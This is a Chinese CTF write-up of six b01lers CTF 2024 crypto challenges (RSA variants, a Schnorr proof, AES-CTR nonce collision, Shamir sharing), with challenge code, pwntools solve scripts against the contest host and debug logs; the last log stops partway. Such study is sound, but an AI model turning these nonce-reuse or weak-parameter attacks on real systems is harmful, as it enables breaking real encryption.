[b01lers CTF 2024] crypto/pwn 部分

作了4天了,还差些,后边也就看不懂了。先把作的和问完了别人作的记录一下。

Crypto

choose_the_param

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import os
from secret import flag

padded_flag = os.urandom(200) + flag + os.urandom(200)
m = bytes_to_long(padded_flag)

def chal():
    print("""Choose your parameter
Enter the bit length of the prime!
I'll choose two prime of that length, and encrypt the flag using rsa.
Try decrypt the flag!    
""")
    while True:
        bits = input("Enter the bit length of your primes> ")
        try:
            bit_len = int(bits)
        except:
            print("please enter a valid intergar")
            continue

        p1 = getPrime(bit_len)
        p2 = getPrime(bit_len)

        n = p1 * p2
        e = 65537
        c = pow(m, e, n)
        print(f"n = {n:x}")
        print(f"e = {e:x}")
        print(f"c = {c:x}")

if __name__ == "__main__":
    chal()

题目的flag 很长,光pad就加了400字符,只允许输入p,q的长度。

由于p,q是随机的,所以如果想解密就得n比较小,可以很容易分解。但由于m比较大,所以需要交互多次,然后再对解密的值取crt

from pwn import *

p = remote('gold.b01le.rs', 5001)

ns = []

for i in range(100):
    p.sendlineafter(b"Enter the bit length of your primes> ", b'24')
    ns.append(int(p.recvline().split(b' ')[-1], 16))
    p.recvline()
    ns.append(int(p.recvline().split(b' ')[-1], 16))

print(ns)
open('c1_a.py', 'w').write('ns='+str(ns)+'\n')

 

vs=[145141239503041, 44245591433866, 213031254239983, 42538645916552, 185873644670579, 51024959711622, 114442720579003, 28167969094321, 108297164786131, 20023842434963, 170175407920801, 68498276864925, 122057389185881, 28971795923994, 88658463418303, 18836520728803, 214703346635759, 182975426198752, 132598859348317, 114860838064655, 226566066147899, 15527504396784, 166449313372409, 64967715375685, 97252895252827, 89967265063246, 104936632728007, 70706987387127, 138699824918563, 56389370537305, 218944607114897, 172049917848105, 208837763156369, 69447113510831, 143044649779523, 90180151302729, 155243810111773, 5784082736415, 172802474799457, 34745029199703, 140667302253661, 1968647494755, 205707309751891, 37118915031159, 106012568938799, 24094304684155, 119852894483897, 8869212820340, 201466656712033, 12163437530766, 149496099818951, 83817540613036, 101496576915739, 73881706660678, 199109495320297, 115382840794599, 169822140921067, 50550343565167, 114270572356807, 48973982378925, 118361228309981, 21660005334873, 165405777752447, 95243426596044, 138981838745273, 119457119466752, 177720911174011, 102356164351722, 131594547447641, 21016291027737, 232370620125601, 153474844628481, 139664156158949, 99645887743044, 146765693540689, 62161001718736, 175894098891523, 159992798314369, 144958629302203, 13659575336292, 120762048886991, 72990358064096, 162233612373517, 70329928106740, 220027660163501, 40334480878828, 144330110309591, 102524421220881, 250837965639533, 51489420006221, 105563977797043, 78478235411410, 204984192160897, 16877352841987, 108820698299077, 103637793467795, 113636426170999, 59049129234787, 160966864239547, 11982688735044, 74113545601457, 21425386303380, 116222426303177, 77374025083049, 114339654931841, 34461807346704, 196774289719961, 162778411696813, 146086962897857, 5552525603131, 194154986958763, 9325863079513, 180269465007461, 98430557007297, 140367886702363, 125182965236770, 109506506474531, 90941249297352, 203267759142017, 55143855222716, 176163215737321, 100259587627682, 145824233887309, 27642088483046, 105554647905337, 10224713254170, 192494528754139, 33619128171666, 177434164654261, 76628162154528, 95890968991049, 68587244962870, 130166371708729, 82124009104373, 174371547770311, 140728224527384, 167316515422841, 29737480915296, 100678926979199, 33376754148811, 114680001163853, 9684821711737, 91923926330149, 21032865353498, 211330670154827, 88228540087436, 138219543201769, 16804842284539, 240886401512467, 26186969442768, 169290074639813, 119129588718001, 274494907422871, 76220709952500, 92701078732001, 87023846308139, 137682049456729, 111714733938489, 136996033211767, 131347981148305, 86303332019131, 4702158503227, 211981657316207, 195407009199673, 188282752081903, 1759571675035, 153243298777171, 122138522172604, 118192854659611, 39161168532208, 170847355668203, 167823727760825, 150010305209377, 43635180899282, 139913084858801, 14849604666361, 125243266588967, 109216362854880, 160854919790497, 31534016067519, 129437769070789, 108790969639971, 217865034870563, 11192737658935, 151211108055569, 88728127838969, 161879645962117, 18674059726174, 210631720446599, 28373048142433, 86254411455937, 83568243866751, 145906751036887, 92296896292385, 179418861744653, 56980414541306, 164505621814873, 108812671284764, 116537141976289, 77313877947139]

ms,ns = [],[]
for i in range(0, len(vs),2):
    n,c = vs[i],vs[i+1]
    ps = factor(n)
    p,q = ps[0][0],ps[1][0]
    m = pow(c, inverse_mod(0x10001, (p-1)*(q-1)), n)
    ms.append(m)
    ns.append(n)

m = crt(ms,ns)
long_to_bytes(m)
#bctf{dont_let_the_user_choose_the_prime_length_>w<}

half-big-rsa

 

import math
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
import os

num_bits = 4096
e = (num_bits - 1) * 2
n = getPrime(num_bits)

with open("flag.txt","rb") as f:
    flag = f.read()

m = bytes_to_long(flag)
c = pow(m, e, n)
print(c)

with open("output.txt", "w") as f:
	f.write("e = {0}\n".format(e))
	f.write("n = {0}\n".format(n))
	f.write("c = {0}\n".format(c))

 这题取名字叫半rsa,n是一个素数写成p更方便,但e取的比较特殊与p-1不互素。需要求出不互的那几个根都看看

e = 8190
n = 665515140120452927777672138241759151799589898667434054796291409500701895847040006534274017960741836352283431369658890777476904763064058571375981053480910502427450807868148119447222740298374306206049235106218160749784482387828757815767617741823504974133549502118215185814010416478030136723860862951197024098473528800567738616891653602341160421661595097849964546693006026643728700179973443277934626276981932233698776098859924467510432829393769296526806379126056800758440081227444482951121929701346253100245589361047368821670154633942361108165230244033981429882740588739029933170447051711603248745453079617578876855903762290177883331643511001037754039634053638415842161488684352411211039226087704872112150157895613933727056811203840732191351328849682321511563621522716119495446110146905479764695844458698466998084615534512596477826922686638159998900511018901148179784868970554998882571043992165232556707995154316126421679595109794273650628957795546293370644405017478289280584942868678139801608538607476925924119532501884957937405840470383051787503858934204828174270819328204062103187487600845013162433295862838022726861622054871029319807982173856563380230936757321006235403066943155942418392650327854150659087958008526462507871976852849
c = 264114212766855887600460174907562771340758069941557124363722491581842654823497784410492438939051339540245832405381141754278713030596144467650101730615738854984455449696059994199389876326336906564161058000092717176985620153104965134542134700679600848779222952402880980397293436788260885290623102864133359002377891663502745146147113128504592411055578896628007927185576133566973715082995833415452650323729270592804454136123997392505676446147317372361704725254801818246172431181257019336832814728581055512990705620667354025484563398894047211101124793076391121413112862668719178137133980477637559211419385463448196568615753499719509551081050176747554502163847399479890373976736263256211300138385881514853428005401803323639515624537818822552343927090465091651711036898847540315628282568055822817711675290278630405760056752122426935056309906683423667413310858931246301024309863011027878238814311176040130230980947128260455261157617039938807829728147629666415078365277247086868327600962627944218138488810350881273304037069779619294887634591633069936882854003264469618591009727405143494184122164870065700859379313470866957332849299246770925463579384528152251689152374836955250625216486799615834558624798907067202005564121699019508857929778460

e1 = e//gcd(e,n-1)

m1 = pow(c, inverse_mod(e1,n-1),n)

P.<x> = Zmod(n)[]
f = x^18 - int(m1)
v = f.monic().roots()
print(v)
for m in v:
    long_to_bytes(int(m[0]))

#bctf{Pr1M3_NUM83r5_4r3_C001_bu7_7H3Y_4r3_57r0N6_0N1Y_WH3N_7H3Y_4r3_MU171P113D_3V3N_1F_7H3Y_4r3_b1g}

Fetus-RSA

from Crypto.Util.number import bytes_to_long, getPrime, isPrime
from sage.all import matrix, Zmod
from flag import flag


def nextPrime(prim):
    if isPrime(prim):
        return prim
    else:
        return nextPrime(prim+1)

p1 = getPrime(128)
p2 = nextPrime(p1 * 1)
p3 = nextPrime(p2 * 3)
p4 = nextPrime(p3 * 3)
p5 = nextPrime(p4 * 7)

primes = [p1, p2, p3, p4, p5]

n = p1 * p2 * p3 * p4 * p5

fragments = [bytes_to_long(flag[5*i:5*i+5]) for i in range(25)]

e = 31337

topG = matrix(Zmod(n), [[fragments[5*i + j] for j in range(5)] for i in range(5)])
bottomG = topG ** e

with open("output.txt", "w") as file:
    file.write(f"n = {n}\n\n")
    file.write("Ciphertext Matrix:\n\n")
    for row in bottomG:
        for num in row:
            file.write(str(num) + " ")
        file.write("\n\n")

 flag被分成25份,组成一个矩阵,然后取模幂,跟RSA一样,模板库里没找到对应的东西,但应该跟RSA一样,取d然后幂。

n由5个p组成,这5个p有一定倍数关系,取5次根后再小爆破一下,这回这个取幂后的数比p1大,需要向前爆破。

p = iroot(n//3//9//63,5)[0]
while True:
    p = prevprime(p)
    if n%p == 0:
        print(p)
        break 

p1 = 197800081090910969169502702324035680453

由于flag块只有4字节,只用一个p就可以搞定。

d = inverse_mod(31337,p1-1)
M = matrix(GF(p1),[
[247714609729115034577268860647809503348452679955541765864525644036519903244610407544592438833012659821363982836831477850927621505723503202914955484784761468695340160789629882004055804409080695867,331625142917011732363496584111977497826539848810596405639715608289185491230192921594585113936516744954068559616963395888825085234835086592835782522823153199824647815923311303312529222423487842184, 55437288185949549641415195099137917985198178875175317590356850868652628068256771878957686344008331498612071069691453711091201145528626750365270496738628725699281809961803599963127434726167609435, 514660916099185196031776141538776359410382339048282799109733569738126784171011249457518653961429789338579350043906060924939800730829826389077489637524528092592193187169747629063004980325000389554, 432908737089369750416720813650504950741227543859957288298129130571557758647818791153409184252564534925607409378801765727301405467691263041798341098982058861749568674152447781841703730861074171486], 
[104171307746966345345857299403770324392522334886728513788970028646835780770090370816961277474173463662053179135418083415763603092683905102293259569143230591686555033557056635683615214642425173517, 281995809329109899498417283591516891672267505291547187769414960759245222376040526984420670509684233818236456944690830422135256653807646369718495017051487254128669606210585168140190305476396414836, 448210297704655248563230644309382726474650012116320871206976601497778210586480264554625801730855872456388662647389829317946932942681549854741993522145903386318540208729036379511878276729211658861, 399193502999265141959383452857091791757532600793923480036782294759164203783245516880539439411508616363396395258745387111132143827593272610961260623660064934154238955120293971424750525097551648180, 448909699677346701183758951038319440723583288307818355958233994863175886710495171317606803723159576428485212274726596045235998230677229224379125716760136092533604817049730746550292371970711497032], 
[10383824979618791372207750490225860866360446289011667617367731854443817405025701872398853456038612719059056477356275566409859556622099910727870579661815727983662245805512246175424036918556245316, 3042212133475156282375315438954933898496627384941849067508473136817427432524109900983912625376319043681252528210663860374506706029777992048856493297280439498831646567645849063286941560111486091, 303901520908845557762276355500926092138935908381564097855093945643653520650021074626397106363589843089839561176214123648988682404983806374183953260408815900582907133898417354283905163971086566554, 385414980407334346707284477209921028250475161696209076212214696858828374481374774762344617183479700018626970039426895699261230837253656355202103718574806419224338390036737550645417315148014935208, 172437598435610362668691083369422058178612127588567286669952095014310724933793758671802664372505747578789080527221296229242137567445447449560987571505575740311394634799579166058011734727404038041], 
[459726837943530454128170171077760511486009487765694189770202436458018005866133157577824055980174845256397040485330898693944501922148000904627621334536523927325451030816598478315788682056071758797, 318766645374831072244114015670117551595181174553017703335802708316885112551395705202907958737214488185739954176085085611052360624160681549561415131064529778955941226762589967588568203157586014646, 485361005374731090711430490780588207888099824436671620066599360058262282812311497518237782819588602409946446254729349547214950452718084694554650900064587640931729162822096611158015732013679765115, 442488981185685119421099225895492967006907103880489001122993678677306129218035946328038537612725434883858276836497639772750576738969390151812664236525222680918250542360570252193283310559820113337, 294017672174100375503817924437430140826863578191649796300540064690169411498877218939778928997294952104395700469268399214549954967540991489929488976904050382049934179672641195866868009511101289284], 
[394288980150370144394508377797340867635320394706221783789360450886862330500083595146934277232717671435601428999455723360437715407992902972393377872146437245909234935183690525050686313034961250106, 174537062539250527750306397111216900339583030576848484858177223085331307339246744122607759453386390209872407563526999813562242756044330978624067706177762337375480164381575660119163723806663394768, 167378817268639407255382001659131271694745168867873206910416580974376327982114272760583238198872032832961214636912981493082249850676384736073683786291369414678559758485110038329085571864758144806, 479478683656492256273719495784577239188841595512723735000697935028851355713461770920044121053505358284609828319371252306609569657211738503902322975549066701614139339082341370785743668742796520457, 468925056254460005965810812432459057693038841264871939568448625553319440670497244388153862616274082271409346691280049609288322448351851208172939513793874861880752049454593563028452119997997329883]
])

A= M^d 
flag = b''
for v in A:
    for k in v:
        flag += long_to_bytes(int(k))

#bctf{c0ngr4ts_y0u_35c4p3d_th3_m4tr1c3s, but really how? what color is your honda civic? sorry i just need to make this long.}      

 schnore

#!/usr/bin/python3

import sys
from Crypto.Util import number
from Crypto.Hash import SHA512

with open("flag.txt") as f:
    flag = f.read()

# FIPS 186-4 Appendix A.1/A.2 compliant prime order q group and prime order p field
#from Crypto.PublicKey import DSA as FFCrypto
#(p,q,g) = FFCrypto.generate(2048).domain()
p = 32148430219533869432664086521225476372736462680273996089092113172047080583085077464347995262368698415917196323365668601969574610671154445337781821758494432339987784268234681352859122106315479086318464461728521502980081310387167105996276982251134873196176224643518299733023536120537865020373805440309261518826398579473063255138837294134742678213639940734783340740545998610498824621665838546928319540277854869576454258917970187451361767420622980743233300167354760281479159013996441502511973279207690493293107263225937311062981573275941520199567953333720369198426993035900390396753409748657644625989750046213894003084507
q = 25652174680121164880516494520695513229510497175386947962678706338003
g = 23174059265967833044489655691705592548904322689090091191484900111607834369643418104621577292565175857016629416139331387500766371957528415587157736504641585483964952733970570756848175405454138833698893579333073195074203033602295121523371560057410727051683793079669493389242489538716350397240122001054430034016363486006696176634233182788395435344904669454373990351188986655669637138139377076507935928088813456234379677586947957539514196648605649464537827962024445144040395834058714447916981049408310960931998389623396383151616168556706468115596486100257332107454218361019929061651117632864546163172189693989892264385257

def prove():
    print("The oracles say that X is g^x and A is g^a. Be that as it may...")
    print("Perhaps there exists a way to make their confidence sway!")

    # (Sorry, can't choose a :)
    A = 30210424620845820052071225945109142323820182565373787589801116895962027171575049058295156742156305996469210267854774935518505743920438652976152675486476209694284460060753584821225066880682226097812673951158980930881565165151455761750621260912545169247447437218263919470449873682069698887953001819921915874928002568841432197395663420509941263729040966054080025218829347912646803956034554112984570671065110024224236097116296364722731368986065647624353094691096824850694884198942548289196057081572758803944199342980170036665636638983619866569688965508039554384758104832379412233201655767221921359451427988699779296943487

    h = SHA512.new(truncate="256")
    h.update(number.long_to_bytes(g) + number.long_to_bytes(p) + number.long_to_bytes(A))
    c = number.bytes_to_long(h.digest()) % p

    z = int(input("a + cx = ")) % p
    
    return (A,c,z)


def setup():
    print("> I'm so sleepy, I almost forgot; we should share what we ought.")
    print("> Just between you and me, can we agree on a verifying key...?")
    X = int(input("> X = ")) % p
    
    return X

def verify(A,c,z,X):
    h = SHA512.new(truncate="256")
    h.update(number.long_to_bytes(g) + number.long_to_bytes(p) + number.long_to_bytes(A))
    cp = number.bytes_to_long(h.digest()) % p
    
    if c != cp or pow(g, z, p) != ((A * pow(X, c, p)) % p):
        print("> Oh, even my bleary eyes can tell your evidence is fau x !!")
        print("> Are you sure that what you say is what you truly know?")
        sys.exit()
    else:
        print("> ", end="")
        print(flag)

if __name__ == "__main__":
    (A,c,z) = prove()
    X = setup()
    verify(A,c,z,X)

这后边几个题都有漏洞,找着漏洞就能搞定,出得比较巧。但只搞了一个。

先推下公式:

g^z = A*X^c  
当z=0时: 1 = A*X^c  ,因为gcd(c,p-1)==2 求d = invert(c//2,p-1) , X^2 = (A^-1)^d, 再开根号求X

p = 32148430219533869432664086521225476372736462680273996089092113172047080583085077464347995262368698415917196323365668601969574610671154445337781821758494432339987784268234681352859122106315479086318464461728521502980081310387167105996276982251134873196176224643518299733023536120537865020373805440309261518826398579473063255138837294134742678213639940734783340740545998610498824621665838546928319540277854869576454258917970187451361767420622980743233300167354760281479159013996441502511973279207690493293107263225937311062981573275941520199567953333720369198426993035900390396753409748657644625989750046213894003084507
q = 25652174680121164880516494520695513229510497175386947962678706338003
g = 23174059265967833044489655691705592548904322689090091191484900111607834369643418104621577292565175857016629416139331387500766371957528415587157736504641585483964952733970570756848175405454138833698893579333073195074203033602295121523371560057410727051683793079669493389242489538716350397240122001054430034016363486006696176634233182788395435344904669454373990351188986655669637138139377076507935928088813456234379677586947957539514196648605649464537827962024445144040395834058714447916981049408310960931998389623396383151616168556706468115596486100257332107454218361019929061651117632864546163172189693989892264385257
A = 30210424620845820052071225945109142323820182565373787589801116895962027171575049058295156742156305996469210267854774935518505743920438652976152675486476209694284460060753584821225066880682226097812673951158980930881565165151455761750621260912545169247447437218263919470449873682069698887953001819921915874928002568841432197395663420509941263729040966054080025218829347912646803956034554112984570671065110024224236097116296364722731368986065647624353094691096824850694884198942548289196057081572758803944199342980170036665636638983619866569688965508039554384758104832379412233201655767221921359451427988699779296943487

h = SHA512.new(truncate="256")
h.update(number.long_to_bytes(g) + number.long_to_bytes(p) + number.long_to_bytes(A))
c = number.bytes_to_long(h.digest()) % p

A_ = inverse_mod(A,p)
P.<x> = Zmod(p)[]
f = x^2 - A_ 
v = f.monic().roots()

d = invert(c//2,p-1)
x = pow(v[0][0], d, p)

X = 12342720748316223949670022592236244320314509650384439892651200705162072688658450238738667279336078213763340773005445513154604660534496421306415177146466992336401256952607305596879098615141133889858002377715204648809486368662677679471633171965773378126931440483420424156416587704015056764364743289150383488290231279172500090153689254429656294690823151759187726588179602917951462339804130186160963641452665125791199083494266549892970734567476099074108622150740096577135640403976306283260209054167422488092327604364138464270803613210912679129279542452197513161549574173075110737613599510337399936298803445971579464984858

'''
└─$ nc gold.b01le.rs 5005
The oracles say that X is g^x and A is g^a. Be that as it may...
Perhaps there exists a way to make their confidence sway!
a + cx = 0
> I'm so sleepy, I almost forgot; we should share what we ought.
> Just between you and me, can we agree on a verifying key...?
> X = 12342720748316223949670022592236244320314509650384439892651200705162072688658450238738667279336078213763340773005445513154604660534496421306415177146466992336401256952607305596879098615141133889858002377715204648809486368662677679471633171965773378126931440483420424156416587704015056764364743289150383488290231279172500090153689254429656294690823151759187726588179602917951462339804130186160963641452665125791199083494266549892970734567476099074108622150740096577135640403976306283260209054167422488092327604364138464270803613210912679129279542452197513161549574173075110737613599510337399936298803445971579464984858
> bctf{t00_t1r3d_t0_n0t1c3_m1551n9_pub_k3y_1n_5t4t3m3nt}

'''

 count_the_counter

#!/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from secret import flag
import os


def Encrypt(key, message, nonce):
    cipher = AES.new(key, AES.MODE_CTR, nonce=long_to_bytes(nonce))
    return cipher.encrypt(message).hex()


def chal():
    key = os.urandom(16)
    print("Treat or Trick, count my thing. ")
    nonce_counter = 1
    print(Encrypt(key, flag, nonce_counter))
    while True:
        nonce_counter += 1
        to_enc = input("Give me something to encrypt: ")
        print(Encrypt(key, bytes.fromhex(to_enc), nonce_counter))


if __name__ == "__main__":
    chal()

题目通过AES_CTR模式加密,给了flag的密文,并提供加密服务,每次nonce_counter加1然后取long_to_bytes作为nonce 

CTR模式,对ctr加密,然后与明文异或。这里ctr由long_to_bytes(nonce_counter)作为nonce,这里有个漏洞:

flag加密的nonce_counter=1,ctr=long_to_bytes(nonce_counter)+counter = b'\x01' + b'\x00....\x01'

而当nonce_counter=0x100时ctr = b'\x01\x00' + b'\x00...\x01'这两个值相同,这时候ctr加密后的值相同,再取异或就能得到flag

from pwn import *

context(log_level = 'debug')
p = remote('gold.b01le.rs', 5002)

p.recvline()
enc = bytes.fromhex(p.recvline()[:-1].decode()) #01 + counter

p.send(b'00\n'*0xfe)
for i in range(0xfe):
    p.recvline()

p.sendlineafter(b'Give me something to encrypt: ', b'00'*len(enc))  # 0100 + counter
enc1 = bytes.fromhex(p.recvline()[:-1].decode())
print(xor(enc,enc1))
'''
[x] Opening connection to gold.b01le.rs on port 5002
[x] Opening connection to gold.b01le.rs on port 5002: Trying 34.162.6.4
[+] Opening connection to gold.b01le.rs on port 5002: Done
[DEBUG] Received 0xe6 bytes:
    b'Treat or Trick, count my thing. \n'
    b'c52cb7f44373cfa66f52bfc03b429acef701a67bd3d218d0afc20c018077ca02ff08e0209d854b61d858544cc83d56538adb7eb84ca11510eb
f3e0fb60cba741f33032d145f7a2a93a8be0ad5e558693c6ddf6\n'
    b'Give me something to encrypt: '
[DEBUG] Sent 0x2fa bytes:
......
[DEBUG] Sent 0xa7 bytes:
    b'000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000\n'
[DEBUG] Received 0xc5 bytes:
    b'a74fc3923807a7c31d37e0a9481dfb918564c708bcbc47b6c0b05373e119ae6d92578e4ff3e62e3eb9363013bf54223bd5bd17c029c54a7c8e
9d878f08949f22c55254e424c6919002efd1cb6f31bfa6a0ec8b\n'
    b'Give me something to encrypt: '
b'bctf{there_is_a_reason_for_random_nonce_and_with_fixed_length_8c6bf5a1398d1f1d95f1}'
'''

shamir-for-dummies

 

import os
import sys
import time
import math
import random
from Crypto.Util.number import getPrime, isPrime, bytes_to_long, long_to_bytes

def polynomial_evaluation(coefficients, x):
	at_x = 0
	for i in range(len(coefficients)):
		at_x += coefficients[i] * (x ** i)
		at_x = at_x % p
	return at_x

flag = b'bctf{REDACTED}'

print("")
print("Thanks for coming in. I can really use your help.\n")
print("Like I said, my friend can only do additions. He technically can do division but he says he can only do it once a day.")
print("")
print("I need to share my secret using Shamir secret sharing. Can you craft the shares, in a way that my friend can recover it?\n")
print("")
print("Don't worry, I have the polynomial and I will do all the math for you.")
print("")

s = bytes_to_long(flag)

n = getPrime(4)
p = getPrime(512)

while p % n != 1:
    p = getPrime(512)

print("Let's use \n")
print("n =", n)
print("k =", n)
print("p =", p)
print("")

coefficients = [s]
for i in range(1, n):
	coefficients.append(random.randint(2, p-1))

print("Okay, I have my polynomial P(X) ready. Let me know when you are ready to generate shares with me.\n")
print("")

evaluation_points = []
shares = []

count = 1
while count < n+1:
	print("Evaluate P(X) at X_{0} =".format(count))
	print("> ", end="")
	eval_point = int(input())
	if eval_point % p == 0:
		print("Lol, nice try. Bye.")
		exit()
		break
	elif eval_point < 0 or eval_point > p:
		print("Let's keep things in mod p. Please choose it again.")
	else:
		if eval_point not in evaluation_points:
			evaluation_points.append(eval_point)
			share = polynomial_evaluation(coefficients, eval_point)
			shares.append(share)
			count += 1
		else:
			print("You used that already. Let's use something else!")

print("Nice! Let's make sure we have enough shares.\n")
assert len(shares) == n
assert len(evaluation_points) == n
print("It looks like we do.\n")
print("By the way, would he have to divide with anything? (Put 1 if he does not have to)")
print("> ", end="")
some_factor = int(input())
print("Good. Let's send those over to him.")

for _ in range(3):
	time.sleep(1)
	print(".")
	sys.stdout.flush()

sum_of_shares = 0

for s_i in shares:
	sum_of_shares += s_i
	sum_of_shares = sum_of_shares % p

sum_of_shares_processed = (sum_of_shares * pow(some_factor, -1, p)) % p

if sum_of_shares_processed == s:
	print("Yep, he got my secret message!\n")
	print("The shares P(X_i)'s were':")
	print(shares)
	print("... Oh no. I think now you'd know the secret also... Thanks again though.")
else:
	print("Sorry, it looks like that didn't work :(")

这个题比较长,先取一个4位小素数n,然后生成n个随机参数,最前边1个是flag ,然后要求输入n个数,这些数使前边的多项式和再乘以一个输入的数再模p后与flag相同,便给出这些数和。

f_{1} = s + r_{1}\cdot x_{1} + r_{2}\cdot x_{1}^{2} + ... + r_{n}\cdot x_{1}^{n}

这样n组的和,可以推导一下

\sum f = n*s + r_{0}*(x_{1}+x_{2}+...+x_{n}) + r_{1}*(x_{1}^{2}+x_{2}^{2}+...+x_{n}^{2}) + ...

对有限域p来说,1的n个根的和为0,n个根都取相同的幂时和也为0,所以有

x = GF(p)(1).nth_root(n, all=True)

但这里有个问题,用sage计算这个数可能会用很长时间,地直也成功不了。

后来问了小鸡块神。这里p%n==1所以如果k=(p-1)//n

x_{i} = a^{i*k},也就有 x_{1}+x_{2}+...+x_{n} = \frac{1-a^{n}}{1-a},看分母 x^{n} = a^{i*k*n} = (a^{i})^{k*n}=(a^{i})^{p-1} = 1 mod p 这个式子就等于0了,这个计算非常方便,而结果与n次根完全相同。

from Crypto.Util.number import *
from pwn import *

context(log_level = 'debug')
io = remote('gold.b01le.rs', 5006)

io.recvuntil(b'n = ')
n = int(io.recvline())

io.recvuntil(b'p = ')
p = int(io.recvline())

print(f"{n =}\r\n{p =}")
a = (p-1)//n # p = an+1
b = pow(2,a,p)
x = [pow(b,i,p) for i in range(n)]
for v in x:
    io.sendlineafter(b'>', str(v).encode())

io.sendlineafter(b'>', str(n).encode())

io.recvuntil(b"The shares P(X_i)'s were':\n")
shares = eval(io.recvline())

flag = long_to_bytes(sum(shares)%p//n)
print(flag)

io.close()

原来那种方法也会成功的,在特殊的情况

from Crypto.Util.number import *
from pwn import remote,context as ctx
from sage.all import *

#
ctx(log_level = 'debug')
io = remote('gold.b01le.rs', 5006)

io.recvuntil(b'n = ')
n = int(io.recvline())

io.recvuntil(b'p = ')
p = int(io.recvline())

print(f"{n =}\n{p =}")

#r = GF(p)(1).nth_root(n)
#x = [r^i for i in range(n)]
x = GF(p)(1).nth_root(n, all=True)
print(f"{x = }")
for v in x:
    io.sendlineafter(b'>', str(v).encode())

io.sendlineafter(b'>', str(n).encode())

io.recvuntil(b"The shares P(X_i)'s were':\n")
shares = eval(io.recvline())

flag = long_to_bytes(sum(shares)%p//n)
print(flag)

io.close()
'''
└─$ sage -python c6_2.py
[+] Opening connection to gold.b01le.rs on port 5006: Done
[DEBUG] Received 0x2a6 bytes:
    b'\n'
    b'Thanks for coming in. I can really use your help.\n'
    b'\n'
    b'Like I said, my friend can only do additions. He technically can do division but he says he can only do it once a day.\n'
    b'\n'
    b'I need to share my secret using Shamir secret sharing. Can you craft the shares, in a way that my friend can recover it?\n'
    b'\n'
    b'\n'
    b"Don't worry, I have the polynomial and I will do all the math for you.\n"
    b'\n'
    b"Let's use \n"
    b'\n'
    b'n = 11\n'
    b'k = 11\n'
    b'p = 8314022770161905462620919112432543983766685272063094082887310552616244777929277812962462529010848842069090691992442455601865701685488109297216079258643037\n'
    b'\n'
    b'Okay, I have my polynomial P(X) ready. Let me know when you are ready to generate shares with me.\n'
    b'\n'
    b'\n'
    b'Evaluate P(X) at X_1 =\n'
    b'> '
n =11
p =8314022770161905462620919112432543983766685272063094082887310552616244777929277812962462529010848842069090691992442455601865701685488109297216079258643037
x = [1, 6328590378084879313682662407346699528191413922453590294394122384256158604650619032316293762769927094846238517241216710521762204069039798276908019728157061, 2956439750649874802406024949417316081735723561303262672549303102988852044213296455602873769115271309509111224513496888872195202861695568388037997417153736, 4376884169987311772778458975048589967394581834735956369772931848045766029837814972482111965870980969415676252909045178178325716869490657735131980468739665, 8198970055503192717029001259120644344693431128419544081406780151385541751531358230085002530841560532642355690597108056073003979228210381808183128245655613, 1809787033343204536796277441589065580502901901344298446588516056760537040676677850702063327607806658335742957464852820342670434799169870855106910740214264, 3212843531176049217384311610957091175891493603030636982259777073550333794188717164904086695368791818390702831623891201498418089043884943514317916426336988, 4999929300826439509935881308643853826149434233545284756096019393402012214030189759079614792031748803666863670969474943354496226973111572730262348904519614, 2883992460102400398054186884058917653513032889247318363723315288052156379477464194968603287609939512726791535932422926817540801204854890987000912376286719, 4702032886808814323342726137375018162221223836642298194157067039128862702400507996514559250204082983252212828598088276723122036683513052774294087128790370, 2100644284327360721695064588605523598540189449593280253488720425511003328639743408157103263634134527559757950112615275627793816694469809416837094857361154]
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_2 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'6328590378084879313682662407346699528191413922453590294394122384256158604650619032316293762769927094846238517241216710521762204069039798276908019728157061\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_3 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'2956439750649874802406024949417316081735723561303262672549303102988852044213296455602873769115271309509111224513496888872195202861695568388037997417153736\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_4 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'4376884169987311772778458975048589967394581834735956369772931848045766029837814972482111965870980969415676252909045178178325716869490657735131980468739665\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_5 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'8198970055503192717029001259120644344693431128419544081406780151385541751531358230085002530841560532642355690597108056073003979228210381808183128245655613\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_6 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'1809787033343204536796277441589065580502901901344298446588516056760537040676677850702063327607806658335742957464852820342670434799169870855106910740214264\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_7 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'3212843531176049217384311610957091175891493603030636982259777073550333794188717164904086695368791818390702831623891201498418089043884943514317916426336988\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_8 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'4999929300826439509935881308643853826149434233545284756096019393402012214030189759079614792031748803666863670969474943354496226973111572730262348904519614\n'
[DEBUG] Received 0x19 bytes:
    b'Evaluate P(X) at X_9 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'2883992460102400398054186884058917653513032889247318363723315288052156379477464194968603287609939512726791535932422926817540801204854890987000912376286719\n'
[DEBUG] Received 0x1a bytes:
    b'Evaluate P(X) at X_10 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'4702032886808814323342726137375018162221223836642298194157067039128862702400507996514559250204082983252212828598088276723122036683513052774294087128790370\n'
[DEBUG] Received 0x1a bytes:
    b'Evaluate P(X) at X_11 =\n'
    b'> '
[DEBUG] Sent 0x9b bytes:
    b'2100644284327360721695064588605523598540189449593280253488720425511003328639743408157103263634134527559757950112615275627793816694469809416837094857361154\n'
[DEBUG] Received 0x98 bytes:
    b"Nice! Let's make sure we have enough shares.\n"
    b'\n'
    b'It looks like we do.\n'
    b'\n'
    b'By the way, would he have to divide with anything? (Put 1 if he does not have to)\n'
    b'> '
[DEBUG] Sent 0x3 bytes:
    b'11\n'
